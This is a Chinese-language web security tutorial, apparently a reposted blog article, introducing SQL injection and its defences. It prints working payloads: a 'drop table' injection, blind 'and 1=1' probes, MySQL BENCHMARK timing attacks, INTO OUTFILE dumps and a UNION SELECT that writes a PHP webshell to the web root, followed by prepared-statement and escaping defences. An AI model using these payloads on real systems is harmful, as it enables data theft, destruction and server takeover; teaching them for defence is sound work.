web安全————注入(初识篇)

来源:互联网 发布:淘宝上好看的情侣装店 编辑:程序博客网 时间:2024/05/17 23:53
       注入攻击
       注入攻击是web安全领域中最常见的一种攻击方式。注入攻击的本质就是把用户输入的数据当作代码执行,主要的两个关键条件:第一是用户能够控制输入,第二是原本程序要执行的代码拼接了用户输入的数据。在注入中,常见的就是SQL,下面我们来看看SQL注入的一些方法、技巧以及防御。


       SQL注入
       请看一个典型的SQL注入例子:
       var Shipcity;
       ShipCity = Request.form ("ShipCity");
       var sql = "select * from OrdersTable where 
       ShipCity = '" + ShipCity + "'";
这里的变量"Shipcity"值是由用户提交,如果是一个正常值如"Beijing",那么SQL语句执行查找:
       SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果用户输入的是一段SQL语句:Beijing';drop table OrdersTable--,那么SQl语句就会被执行:
       SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
这就是说SQL在执行完查找后,再执行drop表的操作,而这个操作是用户构造的恶意攻击。对比一下上述所说的注入关键条件:1用户能够控制数据输入的变量"Shipcity",2原本要执行的代码,拼接了用户输入。也正是这个拼接导致数据库执行了SQL语句。
       在SQL注入过程中,有的站点WEb服务器开启了错误回显,如攻击者在输入中插入一个单引号,服务器返回错误信息如:
       Microsoft JET Database Engine 错误 '80040e14'
       字符串的语法错误 在查询表达式 'ID=49'' 中。
       /showdetail.asp,行8
这将会给攻击者提供很大的便利。从回显信息中知道服务器用的是Access作为数据库,那么攻击者就知道相应的查询语句:select xxx from table_X where id = $id。有的错误回显信息还带有敏感信息,那对攻击者来说构造一个SQL注入就更加得心应手了。但是在时间环境中,web服务器关闭了错误回显,对于这种情况,攻击者们研究出了“盲注”技巧。


       SQL注入之盲注
       所谓盲注就是指攻击者在没有错误回显信息情况下,通过构造条件语句试探该语句是否得以执行,从而完成的一种攻击方式。常见的就是 and 1=1   and 1=2的条件语句:在地址栏输入http://test.com/items.php?id=1时,将会在数据库执行SQL语句SELECT title,description,body FROM items WHERE ID =1。当攻击者构造and 1=1、and 1=2语句时,SQL语句会根据and条件判断命题真假来返回响应值,攻击者就可根据响应值的不同判断是否存在注入,这就是盲注的工作原理。


       Timing Attack
       首先看看边信道攻击:信道外的信息与信道内的信息存在某种联系,通过观测信道外的信息推断出信道内的隐含信息。时序攻击(Timing Attack)就是在边信道攻击思想上,去观测时间与隐含信息直接的某种联系。Timing Attack是盲注的一种高级技巧,下面我们来简单的看看:
       在MYSQL中,有一个函数BENCHMARK()函数,主要用于测试函数的性能。它有两个参数BENCHMARK(count,expr),执行后结果是将表达式expr执行count次。如果让一个函数被执行若干次,使得返回时间计较长,通过对比时间长短变化即可判断注入语句是否执行成功,这种边信道攻击在盲注中被称为Timing Attack。下面附上一些Timing Attack攻击代码:
    1170 UNION SELECT IF(SUBSTRING(current,1,1) =
    CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 
    5 seconds')),null) FROM (Select Database()
    as current) as tbl;
这段payload是判断库名的第一个字母是否为CKAR(119),如果为真则代码执行时间较长,如果为假则很快执行完毕。攻击者遍历所有字母,即可知道数据库名字。再通过下列函数获取更多有用信息:
    database() - the name of the database 
    currently connected to.
    system_user() - the system user for the 
    database.
    current_user() - the current user who is 
    logged in to the database.
    last_insert_id() - the transaction ID of the 
    last insert operation on the database.
如果当前数据库用户(current_user)具有写权限,那么攻击者可将信息写入web目录中:
    1170 Union All SELECT table_name, 
    table_type, engine FROM 
    information_schema.tables WHERE
    table_schema = 'mysql’ ORDER BY table_name 
    DESC INTO OUTFILE
    '/path/location/on/server/www/schema.txt'
或者通过DUMP文件的方法写入一个webshell:
    1170 UNION SELECT "<? 
    system($_REQUEST['cmd']); ?>",2,3,4 INTO 
    OUTFILE
    "/var/www/html/temp/c.php" --




       正确的防御SQL注入
       SQL注入的防御办法:找到所有的SQL注入漏洞并修复它们。主要从以下几点入手
           1,使用预编译语句
           一般说来,防御SQL注入的最佳方式就是使用预编译语句绑定变量。如在java中使用预编译的SQL语句:
           String custname = 
           request.getParameter("customerName"); //  This should REALLY be validated too
           // perform input validation to detect attacks
           String query = "SELECT account_balance FROM 
           user_data WHERE user_name = ? ";
           PreparedStatement pstmt = 
           connection.prepareStatement( query );
           pstmt.setString( 1, custname);
           ResultSet results = pstmt.executeQuery( );
上述代码变量用"?"表示,攻击者无法改变SQL的结构,即是插入lee'or '1'='1的字符,也只会被当做username来查询。下面再看看在PHP中绑定变量的实例:
           $query = "INSERT INTO myCity (Name, 
           CountryCode, District) VALUES (?,?,?)";
           $stmt = $mysqli->prepare($query);
           $stmt->bind_param("sss", $val1, $val2, 
           $val3); 
           $val1 = 'Stuttgart';
           $val2 = 'DEU';
           $val3 = 'Baden-Wuerttemberg';
           /* Execute the statement */
           $stmt->execute();


           2,使用存储过程
           除了使用预编译语句外,还可以使用安全的存储过程防御SQL注入。与预编译语句不同的是需要将SQL语句定义在数据库中,但这种情况下也可能会存在注入问题,应该尽量避免在存储过程中使用动态SQL语句,如果必须使用,则应该严格过滤输入或者使用编码函数来处理用户输入数据。下例为java中调用存储过程,sp_getAccountBalance是预先在数据库中定义的
           String custname = 
           request.getParameter("customerName"); // 
           This should REALLY be validated
             try {
               CallableStatement cs = 
           connection.prepareCall("{call 
           sp_getAccountBalance(?)}");
               cs.setString(1, custname); 
               ResultSet results = cs.executeQuery();
               // … result set handling
           } catch (SQLException se) {
               // … logging and error handling
           }




           3,检查数据类型
           检查数据类型在很大程度上也可防御SQL注入,如下限制输入数据类型只能为integer:
           <?php
           settype($offset, 'integer'); 
           $query = "SELECT id, name FROM products 
           ORDER BY name LIMIT 20 OFFSET $offset;";
           // please note %d in the format string, 
           using %s would be meaningless
           $query = sprintf("SELECT id, name FROM 
           products ORDER BY name LIMIT 20 OFFSET 
           %d;",
                 $offset); 
           ?>
检查数据类型必须要求用户输入严格按照其格式,如果需要用户输入是字符串则按照其他方式防御




           4,使用安全函数
           如在MYSQL中:
           NUL (0x00) --> \0  [This is a zero, not the letter O]
           BS  (0x08) --> \b
           TAB (0x09) --> \t
           LF  (0x0a) --> \n
           CR  (0x0d) --> \r
           SUB (0x1a) --> \z
           "   (0x22) --> \"
           %   (0x25) --> \%
           '   (0x27) --> \'
           \   (0x5c) --> \\
           _   (0x5f) --> \_
           all other non-alphanumeric characters with 
           ASCII values less than 256  --> \c
           where 'c' is the original non-alphanumeric 
           character.


使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函数:
           Codec ORACLE_CODEC = new OracleCodec();
           String query = "SELECT user_id FROM 
           user_data WHERE user_name = '" +
           ESAPI.encoder().encodeForSQL( ORACLE_CODEC
           , req.getParameter("userID")) + "' and 
           user_password = '"
             + 
           ESAPI.encoder().encodeForSQL( ORACLE_CODEC
           , req.getParameter("pwd")) +"'";
从数据库的角度来说,应该按照最小权限原则来防御SQL注入。。。。
0 0
原创粉丝点击